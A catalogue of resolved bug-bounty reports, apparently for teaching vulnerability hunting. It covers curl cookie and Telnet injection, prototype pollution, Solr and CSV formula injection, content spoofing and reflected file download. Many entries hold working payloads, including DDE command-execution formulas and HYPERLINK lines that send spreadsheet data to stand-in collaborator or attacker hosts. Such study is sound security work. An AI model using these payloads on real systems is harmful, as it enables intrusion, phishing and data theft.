Insight — When a reflected sink blocks only a single character (here '='), pivot to payloads that avoid it: CSS injection via <style> needs no '='-dependent attributes and still loads remote resources / redresses the page under the trusted origin.
Real-world example
curl cookie injection via a file named 'none' (CVE-2023-38546)
◆ Low
Specimen #2148242 · curl · none · 14 votes · resolved
Program curlSurface otherTag file-upload
Root cause
When no cookie file is set, Curl_cookie_init() stores the filename as the literal string 'none'. On curl_easy_duphandle() the clone re-initializes cookies from the parent's filename ('none'), so if a real file called 'none' exists in the process cwd it is parsed as a Netscape cookie jar, injecting attacker cookies.
Method
- Application uses libcurl, enables cookies but sets no cookie file, then calls curl_easy_duphandle()
- Attacker plants a file named 'none' (Netscape cookie format) in the app's working directory
- The duplicated handle loads 'none' and sends the injected cookies on subsequent requests
echo -e "127.0.0.1\tTRUE\t/\tFALSE\t0\tname\tvalue" > none
Insight — Sentinel/placeholder strings ('none', 'default', '-') that later get treated as real paths are a recurring bug class. When auditing libraries, look for where an unset value is stringified and later reopened as a file.
Real-world example
TELNET IAC / option injection via unsanitized username & telnet options (CVE-2023-27533)
◆ Low
Specimen #1912770 · ibb · USD 480 · 11 votes · resolved
Program ibbSurface other
Root cause
curl passes user-supplied TELNET username and options (TTYPE, XDISPLOC, NEW_ENV) into the protocol stream without scrubbing, so an attacker controlling any of that data can embed IAC control sequences and negotiate/inject TELNET commands the application never intended.
Method
- Find an app that lets attacker-controlled data flow into a curl TELNET URL's username or option values
- Embed TELNET IAC/option bytes in TTYPE/XDISPLOC/NEW_ENV values
- Injected sequences perform unintended option negotiation or inject input as if typed
# attacker-controlled telnet option value carrying IAC (0xFF) sequences
# via TTYPE / XDISPLOC / NEW_ENV -> unintended TELNET negotiation
Insight — When user data is forwarded verbatim into a stateful, in-band protocol (TELNET, SMTP, FTP control, LDAP), look for the protocol's escape/control bytes (here IAC 0xFF) to break out of the data plane into the command plane. Fix here: accept only ASCII.
Real-world example
lodash prototype pollution via __proto__ merge (CVE-2018-3721)
◆ Low
Specimen #310443 · nodejs-ecosystem · none · 11 votes · resolved
Program nodejs-ecosystemSurface apiChain prototype pollution -> DoS (toString/valueOf clobber breaTag file-upload
Root cause
merge/mergeWith/defaultsDeep recursively copy attacker JSON; a __proto__ key walks into Object.prototype, letting an attacker add/override properties (e.g. clobber toString/valueOf) present on every object -> guaranteed DoS, sometimes RCE via gadgets.
Method
- Find a deep-merge/extend of user-controlled JSON into an object
- Send {"__proto__":{"polluted":"x"}} (or clobber toString/valueOf)
- Verify pollution on a fresh {}; clobbering toString/valueOf 500s every later request
var _ = require('lodash');
var malicious = '{"__proto__":{"oops":"It works !"}}';
_.merge({}, JSON.parse(malicious));
console.log(({}).oops); // It works !
Insight — Prototype pollution is the canonical deep-merge bug: any recursive merge/clone/defaults over user JSON is a sink. Confirm with __proto__, then escalate — clobber toString/valueOf for DoS, or chain library gadgets for RCE. Multipart/query parsers that build nested objects from keys are also sinks (see 804772).
Real-world example
Apache Solr LocalParams injection (backslash-powered)
◆ Low
Specimen #844428 · eternal · USD 100 · 11 votes · resolved
Program eternalSurface web
Root cause
A city parameter is passed into a Solr query where Solr LocalParams/query syntax is interpreted; a lone backslash breaks the query (500) while an escaped double backslash restores it (200), proving server-side query injection.
Method
- Send the param with a single trailing backslash and note HTTP 500
- Send the param with a double backslash and note HTTP 200
- Conclude the value is parsed as Solr query syntax -> LocalParams injection
GET /webapi/searchapi.php?city=51\ -> 500
GET /webapi/searchapi.php?city=51\\ -> 200
Insight — Backslash-powered differential (single vs double backslash flipping error/OK) is a generic detector for any query-language sink, not just SQL - here it reveals Solr injection which can escalate to data access/RCE via known Solr params.
Real-world example
Apache Solr query injection via LocalParams in unsanitized param
◆ Low
Specimen #953203 · eternal · $150 · 8 votes · resolved
Program eternalSurface api
Root cause
A request parameter (city_id) is passed unsanitized into a Solr query, letting the attacker inject Solr LocalParams syntax ({!dismax ...}) to change the query parser/behavior.
Method
- Find an API param that feeds a Solr backend.
- Inject a LocalParams prefix to override the query parser/field.
- Confirm altered query behavior in the JSON response.
:v2/red/homepage.json?lat=&lon=&city_id={!dismax+df=city_id}86&android_country=US&lang=en&android_language=en
Insight — Numeric-looking search params often flow straight into Solr/Elasticsearch. Test with {!...} LocalParams (e.g. {!dismax}, {!type=...}) to detect Solr query injection; it can change parsing, leak data, or DoS. Same technique seen on a sibling endpoint (#844428).
Real-world example
CSV / formula injection via user-controlled field in CSV export
◆ Low
Specimen #126109 · uber · 1000 · 7 votes · resolved
Program uberSurface webChain stored formula -> victim spreadsheet -> HYPERLINK/WEBS
Root cause
User-controlled data (a username) that begins with =, +, -, @ is written unescaped into an exported CSV; when a victim opens it in a spreadsheet, the field is evaluated as a formula, enabling data exfiltration (HYPERLINK) and DDE command execution.
Method
- Set a controllable field (name, note) to a formula payload
- Have a privileged user (another admin) export/download the CSV of records
- On open in Excel/Sheets the formula executes: HYPERLINK exfiltrates adjacent cells; cmd DDE spawns a process
=HYPERLINK("https://COLLAB/x?d="&A1,"Click to view additional information")
=cmd|' /C calc'!A0
# also prefix variants: +, -, @ ; break-out: "=1+1
Insight — Any field that lands in an exported CSV/XLSX and starts with = + - @ is a formula-injection sink. Test even 'self-only' fields because a second privileged user often opens the export (admin-to-admin). Impact = cross-user data exfil (HYPERLINK/WEBSERVICE) and, if trusted, DDE command execution.
Real-world example
CSS injection via URL param controlling stylesheet root (@import attacker CSS)
◆ Low
Specimen #783993 · clario · awarded · 7 votes · resolved
Program clarioSurface web
Root cause
A URL parameter (root) controls the base path from which the page loads/imports a stylesheet, letting an attacker point it at their own server so an attacker-hosted CSS file is imported and applied on the trusted origin.
Method
- Set the root parameter to an attacker-controlled URL.
- Host the expected CSS path on that server with malicious CSS (background/redress/resource load).
- Load the page; the attacker stylesheet is @import-ed and rendered under the target origin.
https://static.mackeeper.com/landings/libs/alert/alerts/exitpopup74/exit-popup.php?root=https://ATTACKER/&lang=en
<!-- ATTACKER/alert/alerts/exitpopup74/css/exit-popup.css -->
div{background-image:url("https://ATTACKER/x.gif");}
Insight — Parameters named root/base/host/path that feed a stylesheet or resource loader are CSS/resource-injection sinks: pointing them off-origin imports attacker CSS (redress, exfil via CSS selectors, resource load) and borders on open-redirect for resources.
Real-world example
Null-byte token bypasses route/validation (404 -> 200)
◆ Low
Specimen #116189 · security · none · 7 votes · resolved
Program securitySurface webTag webhook
Root cause
Appending %00 plus extra data to an invitation_token that would otherwise 404 instead returns a 200 with the valid page, showing the token/route validation truncates or mishandles the null byte inconsistently between the check and the lookup.
Method
- Find an endpoint that 404s on an invalid token and 200s on a valid one.
- Append %00 and trailing content to a valid token value and observe the response still 200s (validation bypassed).
- Probe the reflected/derived value for further injection (here it was HTML-escaped, so no XSS).
https://TARGET/users/sign_in?invitation_token=eda8fca985bc4d4ef21f269ed2a24951%00"><img src=x onerror=prompt(1) x=
Insight — A null byte can desynchronize a validation check from the value actually used, turning invalid input into accepted input. Worth testing on token/id/filename params even when the immediate reflection is escaped; the parsing inconsistency itself is the reusable primitive.
Real-world example
Terminal escape-sequence injection via untrusted metadata (RubyGems summary)
◆ Low
Specimen #226335 · rubygems · $500 · 6 votes · resolved
Program rubygemsSurface otherTag supply-chain
Root cause
Attacker-controlled strings (gem summary, auth log usernames) are printed to a terminal verbatim, so embedded ANSI/xterm escape sequences are interpreted by the victim's terminal emulator — enabling title/clipboard manipulation and, on vulnerable emulators, command injection into the terminal. CVE-2017-0899.
Method
- Embed escape sequences in a field that will later be echoed to someone's terminal
- Publish/push so a victim renders it with a CLI tool (gem query -d, tailing logs)
- Escape codes execute in the victim's terminal (window-title change is the harmless tell)
# gemspec field:
spec.summary = "foo\e[31mbar\e[0mbaz \e]2;BOOM!\a"
# rendered via: gem query <name> -d
Insight — Anything that prints untrusted text to a terminal (package registry CLIs, log viewers, CI output, git output) should strip control characters. Test by injecting \e]2;PWNED\a (OSC window-title) — if the terminal title changes, escape sequences pass through and the surface may be escalatable on emulators with dangerous escape handlers.
Real-world example
CSV / spreadsheet formula injection via export feature
◆ Low
Specimen #224291 · weblate · none · 4 votes · resolved
Program weblateSurface web
Root cause
User-controlled fields (glossary names, profile data) are written verbatim into exported CSV. Spreadsheet apps interpret any cell beginning with = + - @ as a formula, enabling DDE/command execution or data exfiltration when a victim opens the file.
Method
- Store a value beginning with a formula trigger in any field that appears in a CSV/XLSX export.
- Have a victim export and open the file in Excel/LibreOffice/Sheets.
- Formula executes (calc via DDE, or =HYPERLINK/WEBSERVICE to exfiltrate other cells).
=1+1
-2+3+cmd|' /C calc'!G2
=HYPERLINK("http://COLLAB/?"&A1,"click")
@SUM(1+1)*cmd|'/C calc'!A0
// defensive tell: prefix cells with a single quote or space to neutralize
Insight — Any place user data flows into a downloadable CSV/XLSX is a formula-injection sink even when the app itself is not vulnerable; impact is client-side code exec / data theft against whoever opens the export (often staff/admins).
Real-world example
Text injection / content spoofing via reflected error & path parameters
◆ Low
Specimen #22093 · slack · 200 · 4 votes · resolved
Program slackSurface web
Root cause
User-controlled input (error/message query params, path segments, or API error-detail fields) is reflected verbatim into the response body without sanitization, letting an attacker plant arbitrary human-readable text (fake login notices, 'move to evil.com') on a trusted domain for phishing.
Method
- Find a page/endpoint that echoes an input into the body: error/message/type query params, 404/403 pages, or JSON API error strings.
- Inject plain text (no HTML needed) instructing the victim to act, e.g. 'go to evil.com'.
- Send the crafted trusted-domain URL to victims; the text renders as if it were official site content.
https://team.slack.com/services/new/github?error=Content%20Spoofing
https://withinsecurity.com/wp-login.php?error=Please%20log%20in%20through%20attacker.com
https://www.udemy.com/api-2.0/recommended-courses/?source_action=view&source_object=course&source_object_id=},{Kindly%20move%20to%20our%20new%20beta%20website%20evil.com&source_page=clp
https://hosted.weblate.org/translate/debian-reference/translations/fr/?type=Sorry,%20system%20trouble,%20go%20to%20http://evil.example/attack.php
https://status.algolia.com/clusters/For%20more%20info%20go%20to%20www.evil.com
Insight — Any parameter or path segment reflected into an error message, status page, or JSON error 'detail' is a text-injection sink. Even without HTML/JS execution it is a phishing primitive on a trusted origin; test error= / message= / type= params, custom 404/403 bodies, and API validation errors that echo your input.
Real-world example
Protocol control-byte injection: unescaped Telnet IAC in curl options (CVE-2023-27533)
◆ Low
Specimen #1891474 · curl · none · 4 votes · resolved
Program curlSurface otherChain attacker-controlled telnet option -> unescaped IAC ->
Root cause
curl builds Telnet suboption data (TTYPE/XDISPLOC/NEW_ENV) from user-controlled CURLOPT_TELNETOPTIONS values without encoding the 'Interpret As Command' byte (IAC, 0xff), so an embedded 0xff escapes the subnegotiation and injects arbitrary TELNET commands.
Method
- Control a telnet option value (TTYPE/XDISPLOC/NEW_ENV) passed to curl.
- Embed a raw 0xff (IAC) byte plus command bytes in the value.
- curl emits it unescaped; the byte is parsed as a protocol command, escaping the subnegotiation.
curl --telnet-option NEW_ENV=a,b$(echo -ne "\xff\xf0INJECTED") telnet://server
# wire: ... 0x61 0x62 ff f0 'INJECTED' ... (IAC SE injected)
Insight — Any protocol that uses an in-band escape/control byte (Telnet IAC 0xff, SMTP/CRLF, IRC newline, NUL) is injectable when user data isn't encoded before being framed. When you can influence protocol option/header values, insert the control byte and watch (tcpdump) for it altering the protocol stream.
Real-world example
Prototype pollution via recursive object merge/extend (__proto__)
◆ Low
Specimen #311333 · nodejs-ecosystem · none · 4 votes · resolved
Program nodejs-ecosystemSurface otherChain prototype pollution -> overwrite toString/valueOf -> E
Root cause
Recursive deep-merge/extend/clone helpers copy attacker-controlled keys onto the target without skipping __proto__, so a JSON payload with a __proto__ key writes onto Object.prototype and affects every object in the process.
Method
- Find a sink that deep-merges user JSON into an object (config merge, query/body parser, options extend)
- Send a JSON body whose top level contains a __proto__ object with the properties to inject
- Verify pollution: a fresh empty object now returns the injected property
- Escalate: overwrite toString/valueOf to break Express (guaranteed DoS) or inject gadget properties toward RCE
var merge = require('deep-extend');
var payload = '{"__proto__":{"oops":"It works !"}}';
var a = {};
merge({}, JSON.parse(payload));
console.log(a.oops); // => "It works !"
Insight — Any JS merge/extend/clone/set-by-path over untrusted JSON is a prototype-pollution sink. Probe with {"__proto__":{"polluted":"x"}} (and constructor.prototype variant); confirm via ({}).polluted. Guaranteed DoS by clobbering toString/valueOf; chain to RCE via app-specific gadgets. Fix pattern to recognize as non-exploitable: Object.create(null) targets or explicit __proto__/constructor key filtering.
Real-world example
HTTP Parameter Pollution via semicolon delimiter overrides iframe URL param
◆ Info
Specimen #298265 · security · awarded · 65 votes · resolved
Program securitySurface webTag account-takeover
Root cause
The gh_jid value was placed into an iframe src as the token param; because a semicolon is a legal query delimiter, injecting ';for=attacker' overrode the intended 'for' param and loaded an arbitrary external Greenhouse form for phishing.
Method
- Find a value reflected into a URL where later params determine behavior
- Inject a semicolon plus an overriding param into the reflected value
- The downstream parser splits on ';' and honors your injected param
https://www.hackerone.com/careers?gh_jid=795069;for=airbnb
# reflected into: boards.greenhouse.io/embed/job_app?...&token=795069;for=airbnb&...
Insight — When HTML-escaping blocks &, remember ';' is also a valid query delimiter (per W3C). Use it to smuggle/override parameters (HPP) into reflected URLs, iframes and downstream requests.
Real-world example
HTTP parameter pollution overrides the shared URL in social-share buttons
◆ Info
Specimen #105953 · security · USD 500 · 62 votes · resolved
Program securitySurface web
Root cause
The page reflects a query param into the share button's target URL without dedup/validation, so appending a second u= parameter pollutes the sharer link and the last value wins, causing the victim to share attacker-chosen content.
Method
- Take a legit page URL that renders share buttons
- Append &u=ATTACKER_URL to it
- When the victim clicks Share, the constructed facebook sharer.php?u=... carries the attacker's u= value
https://target.com/blog/post?&u=https://attacker.example/
# -> https://www.facebook.com/sharer.php?u=https://target.com/blog/post?&u=https://attacker.example/
Insight — When user input flows into a downstream URL's query string, test HPP: add a duplicate of the sink's key and see which value the downstream parser honors (usually last). Useful for share-link spoofing, and as a primitive to smuggle params past a first parser.
Real-world example
Reflected File Download (RFD)
◆ Info
Specimen #39658 · security · none · 10 votes · resolved
Program securitySurface webChain reflection + filename control -> trusted-origin file downTag account-takeover
Root cause
An endpoint reflects user input into a JSON/text response, permits an attacker-chosen file extension in the path (e.g. append .bat), and is linked with a download attribute, so the browser saves attacker-controlled reflected content as an executable file appearing to originate from the trusted site.
Method
- Find a reflecting endpoint (input echoed into the response body)
- Inject a batch/shell payload into the reflected field
- Append an executable extension to the URL path so the browser treats the response as a downloadable file
- Serve an <a download> link; victim's download box shows the file as coming from the trusted domain; execution runs the payload
# reflected field value:
text" || calc ||
# craft URL with executable extension:
https://TARGET/<path>/<id>.bat
# delivery page:
<a href="https://TARGET/<path>/<id>.bat" download="invoice.cmd">Click to view</a>
Insight — RFD needs three ingredients: reflected input, attacker-controllable filename/extension, and a permissive download. Test any JSON/text endpoint by appending .bat/.cmd and injecting '|| cmd ||'. Works in Chrome/IE (Firefox ignores download attr).
Real-world example
CSV/formula injection via profile name field
◆ Info
Specimen #99424 · uber · USD 1000 · 9 votes · resolved
Program uberSurface web
Root cause
User-supplied profile fields (driver first/last name) are exported into CSV without neutralizing leading formula characters, so a value like =1+1 is interpreted as a formula when staff open the export in a spreadsheet.
Method
- Set a text field (name) to a formula payload starting with = + - @
- Trigger the flow that exports data to CSV (e.g. request support to review the CSV)
- When staff open it, the formula executes in their spreadsheet
=1+1
=cmd|'/C calc'!A0
Insight — Any user-controlled string that ends up in an exported CSV/XLSX (names, addresses, notes) is a formula-injection sink; test = + - @ leading chars. Also note mass-assignment: editable hidden fields (first_name) via DOM/param tampering.
Real-world example
Reflected File Download via JSON name reflection + download attribute
◆ Info
Specimen #54034 · security · none · 9 votes · resolved
Program securitySurface web
Root cause
A JSON endpoint reflects an attacker-controlled account field verbatim; combined with the HTML5 download attribute, a link on the trusted domain downloads an executable batch file whose content is the reflected injected commands.
Method
- Set a profile field to include shell separators (e.g. name with "||start chrome evil||)
- Find an endpoint that reflects it, e.g. /user?format=json
- Host an <a download="x.bat"> link pointing at that trusted-domain URL
- Victim saves/runs the file, which appears to come from the trusted site
<a href="https://TARGET/dsopas?format=json" download="HackerOneBonus.bat">Bonus App</a>
// injected field value: David Sopas"||start chrome websegura.net||
Insight — RFD needs three things: a reflected user-controlled value, an endpoint the browser will treat as a download, and a filename with an executable extension (via download= or path/;/ tricks). Sanitize batch separators (|| & ;) and force Content-Disposition with a fixed filename.
Real-world example
CSV/formula injection via stored attacker-controlled field exported to spreadsheet
◆ Info
Specimen #1131887 · security · none · 6 votes · resolved
Program securitySurface webTag account-takeover
Root cause
A value the attacker controls (program credential 'account details') is stored and later exported to CSV unescaped, so a leading formula character causes the spreadsheet app to execute it when the victim (program user) opens the export.
Method
- As a lower-privileged user, set a stored field the victim will export to a formula payload
- Wait for the privileged user to export the data to CSV and open it in Excel
- The formula evaluates in the victim's spreadsheet (data exfil or, on legacy setups, command execution via DDE)
;=1+1;
=cmd|'/C calc'!A0
@SUM(1+1)*cmd|'/C calc'!A0
+ / - / = / @ leading chars trigger formula parsing
Insight — Any field that is user-controlled AND ends up in an exported CSV/XLS is a formula-injection sink even if it is never rendered in the UI. Prefix payloads with = + - @ (and ; , tab). Defense: prefix dangerous leading chars with a single quote or wrap in quotes on export.
Real-world example
Reflected File Download (RFD) from a JSON endpoint
◆ Info
Specimen #50658 · security · none · 4 votes · resolved
Program securitySurface webTag supply-chain
Root cause
A JSON endpoint reflects attacker-controlled input in its body and does not constrain the response Content-Type/filename, so a URL can be crafted (path segment forces a .bat filename) that the browser downloads as an executable batch file appearing to originate from the trusted domain; the reflected payload becomes shell commands when run.
Method
- Find a reflective endpoint (JSON/API) whose output includes attacker input verbatim
- Craft input that is valid batch syntax (e.g. contains ||command||)
- Append a filename+extension via path/query so the download is saved as name.bat
- Victim opens the file -> commands run on their machine
# report/notification title used as the reflected value:
hackerone"||calc||
# delivery URL forces an executable filename served from the trusted origin:
https://hackerone.com/notifications.bat
Insight — RFD needs three things: reflected user input, a permissive filename (extra path segment ...notifications.bat), and a permissive Content-Type. Look for JSON/API responses that echo input; batch/CLI syntax embedded in that input turns a 'download' from a trusted domain into local command execution. Fix: strict respond_to/format enforcement returning 406 for non-JSON.